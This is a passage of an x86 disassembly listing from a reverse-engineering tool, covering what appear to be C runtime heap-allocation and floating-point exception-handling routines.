loc_419C1A: ; CODE XREF: sub_419C04+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_419C57 jmp short loc_419C10 ; --------------------------------------------------------------------------- loc_419C22: ; CODE XREF: sub_419C04+14j test al, 0Fh jnz short loc_419C57 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_419C57 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_419C57: ; CODE XREF: sub_419C04+1Aj ; sub_419C04+20j ... xor eax, eax pop esi retn sub_419C04 endp ; =============== S U B R O U T I N E ======================================= sub_419C5B proc near ; CODE XREF: sub_415DE1+4Dp ; sub_41756F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_419C9F inc ds:dword_4C90EC cmp ds:dword_4C90EC, 20h jnz short locret_419C9F push 10h call sub_419B42 pop ecx locret_419C9F: ; CODE XREF: sub_419C5B+2Bj ; sub_419C5B+3Aj retn sub_419C5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419CA0 proc near ; CODE XREF: sub_415D6D+4Ap ; sub_41756F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ds:off_4315A0 push edi loc_419CAE: ; CODE XREF: sub_419CA0+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_419D59 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_419D13 loc_419CD9: ; CODE XREF: sub_419CA0+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_419CFC cmp [edi+4], ebx jbe short loc_419CFC push ebx push ecx push eax call sub_419EA8 add esp, 0Ch test eax, eax jnz short loc_419D6B mov eax, [ebp+var_4] mov [edi+4], ebx loc_419CFC: ; CODE XREF: sub_419CA0+40j ; sub_419CA0+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_419CD9 jmp short loc_419D16 ; --------------------------------------------------------------------------- loc_419D13: ; CODE XREF: sub_419CA0+37j mov ebx, [ebp+arg_0] loc_419D16: ; CODE XREF: sub_419CA0+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_419D5C loc_419D29: ; CODE XREF: sub_419CA0+B5j mov eax, [edi] cmp eax, ebx jl short loc_419D48 cmp [edi+4], ebx jbe short loc_419D48 push ebx push eax push [ebp+var_4] call sub_419EA8 add esp, 0Ch test eax, eax jnz short loc_419D6B mov [edi+4], ebx loc_419D48: ; CODE XREF: sub_419CA0+8Dj ; sub_419CA0+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_419D29 jmp short loc_419D5C ; --------------------------------------------------------------------------- loc_419D59: ; CODE XREF: sub_419CA0+14j mov ebx, [ebp+arg_0] loc_419D5C: ; CODE XREF: sub_419CA0+87j ; sub_419CA0+B7j mov esi, [esi] cmp esi, ds:off_4315A0 jz short loc_419D7B jmp loc_419CAE ; --------------------------------------------------------------------------- loc_419D6B: ; CODE XREF: sub_419CA0+54j ; sub_419CA0+A3j mov ds:off_4315A0, esi sub [edi], ebx mov [esi+8], edi jmp loc_419EA3 ; --------------------------------------------------------------------------- loc_419D7B: ; CODE XREF: sub_419CA0+C4j mov eax, offset off_42F580 mov edi, eax loc_419D82: ; CODE XREF: sub_419CA0+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_419D8E cmp dword ptr [edi+0Ch], 0 jnz short loc_419D9A loc_419D8E: ; CODE XREF: sub_419CA0+E6j mov edi, [edi] cmp edi, eax jz loc_419E6F jmp short loc_419D82 ; --------------------------------------------------------------------------- loc_419D9A: ; CODE XREF: sub_419CA0+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_419DC9 loc_419DB8: ; CODE XREF: sub_419CA0+127j cmp [ebp+var_4], 10h jge short loc_419DC9 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_419DB8 loc_419DC9: ; CODE XREF: sub_419CA0+116j ; sub_419CA0+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call ds:dword_42219C ; VirtualAlloc cmp eax, esi jnz loc_419EA1 push 0 push [ebp+var_8] push esi call sub_415500 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_419E30 lea eax, [esi+4] mov [ebp+var_4], edx loc_419E06: ; CODE XREF: sub_419CA0+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_419E06 loc_419E30: ; CODE XREF: sub_419CA0+15Ej mov ds:off_4315A0, edi lea eax, [edi+2018h] loc_419E3C: ; CODE XREF: sub_419CA0+1A8j cmp ecx, eax jnb short loc_419E4C cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_419E4A add ecx, 8 jmp short loc_419E3C ; --------------------------------------------------------------------------- loc_419E4A: ; CODE XREF: sub_419CA0+1A3j cmp ecx, eax loc_419E4C: ; CODE XREF: sub_419CA0+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_419EA3 ; --------------------------------------------------------------------------- loc_419E6F: ; CODE XREF: sub_419CA0+F2j call sub_4199A8 test eax, eax jz short loc_419EA1 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov ds:off_4315A0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_419EA3 ; --------------------------------------------------------------------------- loc_419EA1: ; CODE XREF: sub_419CA0+143j ; sub_419CA0+1D6j xor eax, eax loc_419EA3: ; CODE XREF: sub_419CA0+D6j ; sub_419CA0+1CDj ... pop edi pop esi pop ebx leave retn sub_419CA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419EA8 proc near ; CODE XREF: sub_419CA0+4Ap ; sub_419CA0+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_419EED lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_419EDC add [ecx], edx sub [ecx+4], edx jmp short loc_419EE5 ; --------------------------------------------------------------------------- loc_419EDC: ; CODE XREF: sub_419EA8+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_419EE5: ; CODE XREF: sub_419EA8+32j lea eax, [edi+8] jmp loc_419FBB ; --------------------------------------------------------------------------- loc_419EED: ; CODE XREF: sub_419EA8+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_419EF6 mov eax, esi loc_419EF6: ; CODE XREF: sub_419EA8+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_419F40 loc_419EFD: ; CODE XREF: sub_419EA8+96j mov bl, [eax] test bl, bl jnz short loc_419F33 push 1 lea ebx, [eax+1] pop esi loc_419F09: ; CODE XREF: sub_419EA8+68j cmp byte ptr [ebx], 0 jnz short loc_419F12 inc ebx inc esi jmp short loc_419F09 ; --------------------------------------------------------------------------- loc_419F12: ; CODE XREF: sub_419EA8+64j cmp esi, edx jnb short loc_419F64 cmp eax, [ebp+var_4] jnz short loc_419F20 mov [ecx+4], esi jmp short loc_419F2C ; --------------------------------------------------------------------------- loc_419F20: ; CODE XREF: sub_419EA8+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_419FC5 loc_419F2C: ; CODE XREF: sub_419EA8+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_419F38 ; --------------------------------------------------------------------------- loc_419F33: ; CODE XREF: sub_419EA8+59j movzx esi, bl add eax, esi loc_419F38: ; CODE XREF: sub_419EA8+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_419EFD loc_419F40: ; CODE XREF: sub_419EA8+53j lea esi, [ecx+8] loc_419F43: ; CODE XREF: sub_419EA8+EBj ; sub_419EA8+F2j cmp esi, edi jnb short loc_419FC5 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_419FC5 mov al, [esi] test al, al jnz short loc_419F95 push 1 lea ebx, [esi+1] pop eax loc_419F5B: ; CODE XREF: sub_419EA8+BAj cmp byte ptr [ebx], 0 jnz short loc_419F85 inc ebx inc eax jmp short loc_419F5B ; --------------------------------------------------------------------------- loc_419F64: ; CODE XREF: sub_419EA8+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_419F75 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_419F7E ; --------------------------------------------------------------------------- loc_419F75: ; CODE XREF: sub_419EA8+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_419F7E: ; CODE XREF: sub_419EA8+CBj mov [eax], dl add eax, 8 jmp short loc_419FBB ; --------------------------------------------------------------------------- loc_419F85: ; CODE XREF: sub_419EA8+B6j cmp eax, edx jnb short loc_419F9C sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_419FC5 mov esi, ebx jmp short loc_419F43 ; --------------------------------------------------------------------------- loc_419F95: ; CODE XREF: sub_419EA8+ABj movzx eax, al add esi, eax jmp short loc_419F43 ; --------------------------------------------------------------------------- loc_419F9C: ; CODE XREF: sub_419EA8+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_419FAD sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_419FB6 ; --------------------------------------------------------------------------- loc_419FAD: ; CODE XREF: sub_419EA8+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_419FB6: ; CODE XREF: sub_419EA8+103j mov [esi], dl lea eax, [esi+8] loc_419FBB: ; CODE XREF: sub_419EA8+40j ; sub_419EA8+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_419FC7 ; --------------------------------------------------------------------------- loc_419FC5: ; CODE XREF: sub_419EA8+7Ej ; sub_419EA8+9Dj ... xor eax, eax loc_419FC7: ; CODE XREF: sub_419EA8+11Bj pop edi pop esi pop ebx leave retn sub_419EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FCC proc near ; CODE XREF: sub_41756F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41A006 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41A066 ; --------------------------------------------------------------------------- loc_41A006: ; CODE XREF: sub_419FCC+26j jnb short loc_41A06D mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41A06D lea eax, [ecx+edx] loc_41A01B: ; CODE XREF: sub_419FCC+59j cmp eax, esi jnb short loc_41A029 cmp byte ptr [eax], 0 jnz short loc_41A027 inc eax jmp short loc_41A01B ; --------------------------------------------------------------------------- loc_41A027: ; CODE XREF: sub_419FCC+56j cmp eax, esi loc_41A029: ; CODE XREF: sub_419FCC+51j jnz short loc_41A06D mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41A061 cmp esi, eax jbe short loc_41A061 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41A058 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41A053 loc_41A04C: ; CODE XREF: sub_419FCC+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41A04C loc_41A053: ; CODE XREF: sub_419FCC+7Ej mov [ebx+4], eax jmp short loc_41A061 ; --------------------------------------------------------------------------- loc_41A058: ; CODE XREF: sub_419FCC+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41A061: ; CODE XREF: sub_419FCC+68j ; sub_419FCC+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41A066: ; CODE XREF: sub_419FCC+38j mov [ebp+var_4], 1 loc_41A06D: ; CODE XREF: sub_419FCC:loc_41A006j ; sub_419FCC+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_419FCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41A075(int,int,double,int) sub_41A075 proc near ; CODE XREF: sub_415E4A+51p ; sub_415F93+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:dword_431CF8, 0 jnz short loc_41A0AA push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41A62A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41A0AA: ; CODE XREF: sub_41A075+Aj push 0FFFFh mov ds:dword_4C9084, 21h push [ebp+arg_C] call sub_41A89D fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41A075 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A0C8(int,int,double,double,int) sub_41A0C8 proc near ; CODE XREF: sub_415E4A:loc_415F0Dp ; sub_415F93:loc_416056p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41A413 add esp, 0Ch test eax, eax jnz short loc_41A106 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41A160 add esp, 18h loc_41A106: ; CODE XREF: sub_41A0C8+1Aj push [ebp+arg_0] call sub_41A6FD cmp ds:dword_431CF8, 0 pop ecx jnz short loc_41A144 test eax, eax jz short loc_41A144 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41A62A add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41A144: ; CODE XREF: sub_41A0C8+4Ej ; sub_41A0C8+52j push eax call sub_41A6B2 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41A89D fld [ebp+arg_10] pop ecx pop ecx leave retn sub_41A0C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A160 proc near ; CODE XREF: sub_41A0C8+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41A192 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41A192: ; CODE XREF: sub_41A160+23j test cl, 2 jz short loc_41A1A5 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41A1A5: ; CODE XREF: sub_41A160+35j test cl, bl jz short loc_41A1B7 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41A1B7: ; CODE XREF: sub_41A160+47j test cl, 4 jz short loc_41A1CA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_41A1CA: ; CODE XREF: sub_41A160+5Aj test cl, 8 jz short loc_41A1DD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_41A1DD: ; CODE XREF: sub_41A160+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41A880 test al, bl jz short loc_41A266 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41A266: ; CODE XREF: sub_41A160+FDj test al, 4 jz short loc_41A271 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41A271: ; CODE XREF: sub_41A160+108j test al, 8 jz short loc_41A27C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41A27C: ; CODE XREF: sub_41A160+113j test al, 10h jz short loc_41A286 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41A286: ; CODE XREF: sub_41A160+11Ej test al, 20h jz short loc_41A290 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41A290: ; CODE XREF: sub_41A160+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41A2CF cmp eax, 400h jz short loc_41A2C1 cmp eax, 800h jz short loc_41A2B5 cmp eax, ecx jnz short loc_41A2D5 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41A2D5 ; --------------------------------------------------------------------------- loc_41A2B5: ; CODE XREF: sub_41A160+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41A2CB ; --------------------------------------------------------------------------- loc_41A2C1: ; CODE XREF: sub_41A160+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41A2CB: ; CODE XREF: sub_41A160+15Fj mov [eax], ecx jmp short loc_41A2D5 ; --------------------------------------------------------------------------- loc_41A2CF: ; CODE XREF: sub_41A160+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41A2D5: ; CODE XREF: sub_41A160+14Bj ; sub_41A160+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41A300 cmp eax, 200h jz short loc_41A2F3 cmp eax, ecx jnz short loc_41A30D mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41A30D ; --------------------------------------------------------------------------- loc_41A2F3: ; CODE XREF: sub_41A160+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41A30B ; --------------------------------------------------------------------------- loc_41A300: ; CODE XREF: sub_41A160+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41A30B: ; CODE XREF: sub_41A160+19Ej mov [eax], ecx loc_41A30D: ; CODE XREF: sub_41A160+189j ; sub_41A160+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41A88E lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call ds:dword_4221A4 ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41A387 and dword ptr [esi], 0FFFFFFFEh loc_41A387: ; CODE XREF: sub_41A160+222j test byte ptr [eax+8], 8 jz short loc_41A390 and dword ptr [esi], 0FFFFFFFBh loc_41A390: ; CODE XREF: sub_41A160+22Bj test byte ptr [eax+8], 4 jz short loc_41A399 and dword ptr [esi], 0FFFFFFF7h loc_41A399: ; CODE XREF: sub_41A160+234j test byte ptr [eax+8], 2 jz short loc_41A3A2 and dword ptr [esi], 0FFFFFFEFh loc_41A3A2: ; CODE XREF: sub_41A160+23Dj test [eax+8], bl jz short loc_41A3AA and dword ptr [esi], 0FFFFFFDFh loc_41A3AA: ; CODE XREF: sub_41A160+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41A3DE dec ecx jz short loc_41A3D2 dec ecx jz short loc_41A3C8 dec ecx jnz short loc_41A3E0 or byte ptr [esi+1], 0Ch jmp short loc_41A3E0 ; --------------------------------------------------------------------------- loc_41A3C8: ; CODE XREF: sub_41A160+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_41A3DA ; --------------------------------------------------------------------------- loc_41A3D2: ; CODE XREF: sub_41A160+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41A3DA: ; CODE XREF: sub_41A160+270j mov [esi], ecx jmp short loc_41A3E0 ; --------------------------------------------------------------------------- loc_41A3DE: ; CODE XREF: sub_41A160+257j and [esi], edx loc_41A3E0: ; CODE XREF: sub_41A160+260j ; sub_41A160+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41A400 dec ecx jz short loc_41A3F7 dec ecx jnz short loc_41A409 and [esi], edx jmp short loc_41A409 ; --------------------------------------------------------------------------- loc_41A3F7: ; CODE XREF: sub_41A160+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41A407 ; --------------------------------------------------------------------------- loc_41A400: ; CODE XREF: sub_41A160+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41A407: ; CODE XREF: sub_41A160+29Ej mov [esi], ecx loc_41A409: ; CODE XREF: sub_41A160+291j ; sub_41A160+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41A160 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A413 proc near ; CODE XREF: sub_41A0C8+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41A43E test byte ptr [ebp+arg_8], bl jz short loc_41A43E push ebx call sub_41A8C0 pop ecx and edi, 0FFFFFFF7h jmp loc_41A608 ; --------------------------------------------------------------------------- loc_41A43E: ; CODE XREF: sub_41A413+15j ; sub_41A413+1Aj test al, 4 jz short loc_41A458 test byte ptr [ebp+arg_8], 4 jz short loc_41A458 push 4 call sub_41A8C0 pop ecx and edi, 0FFFFFFFBh jmp loc_41A608 ; --------------------------------------------------------------------------- loc_41A458: ; CODE XREF: sub_41A413+2Dj ; sub_41A413+33j test al, bl jz loc_41A532 test byte ptr [ebp+arg_8], 8 jz loc_41A532 push 8 call sub_41A8C0 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41A50A cmp ecx, 400h jz short loc_41A4E2 cmp ecx, 800h jz short loc_41A4BA cmp ecx, eax jnz loc_41A52A mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_422800 fld ds:dbl_431690 fnstsw ax sahf ja short loc_41A4B2 fchs loc_41A4B2: ; CODE XREF: sub_41A413+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A4BA: ; CODE XREF: sub_41A413+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_422800 fnstsw ax sahf jbe short loc_41A4D2 fld ds:dbl_431680 jmp short loc_41A4DA ; --------------------------------------------------------------------------- loc_41A4D2: ; CODE XREF: sub_41A413+B5j fld ds:dbl_431690 fchs loc_41A4DA: ; CODE XREF: sub_41A413+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A4E2: ; CODE XREF: sub_41A413+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_422800 fnstsw ax sahf jbe short loc_41A4FA fld ds:dbl_431690 jmp short loc_41A502 ; --------------------------------------------------------------------------- loc_41A4FA: ; CODE XREF: sub_41A413+DDj fld ds:dbl_431680 fchs loc_41A502: ; CODE XREF: sub_41A413+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A50A: ; CODE XREF: sub_41A413+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_422800 fld ds:dbl_431680 fnstsw ax sahf ja short loc_41A522 fchs loc_41A522: ; CODE XREF: sub_41A413+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41A528: ; CODE XREF: sub_41A413+A5j ; sub_41A413+CDj ... fstp qword ptr [ecx] loc_41A52A: ; CODE XREF: sub_41A413+81j and edi, 0FFFFFFFEh jmp loc_41A608 ; --------------------------------------------------------------------------- loc_41A532: ; CODE XREF: sub_41A413+47j ; sub_41A413+51j test al, 2 jz loc_41A608 test byte ptr [ebp+arg_8], 10h jz loc_41A608 push esi xor esi, esi test al, 10h jz short loc_41A54D mov esi, ebx loc_41A54D: ; CODE XREF: sub_41A413+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp ds:dbl_422800 fnstsw ax sahf jz loc_41A5F6 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41A7BF mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41A598 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41A5EC ; --------------------------------------------------------------------------- loc_41A598: ; CODE XREF: sub_41A413+17Aj fld [ebp+var_C] fcomp ds:dbl_422800 fnstsw ax sahf jnb short loc_41A5AA mov edx, ebx jmp short loc_41A5AC ; --------------------------------------------------------------------------- loc_41A5AA: ; CODE XREF: sub_41A413+191j xor edx, edx loc_41A5AC: ; CODE XREF: sub_41A413+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41A5E0 sub eax, ecx loc_41A5C3: ; CODE XREF: sub_41A413+1CBj test byte ptr [ebp+var_C], bl 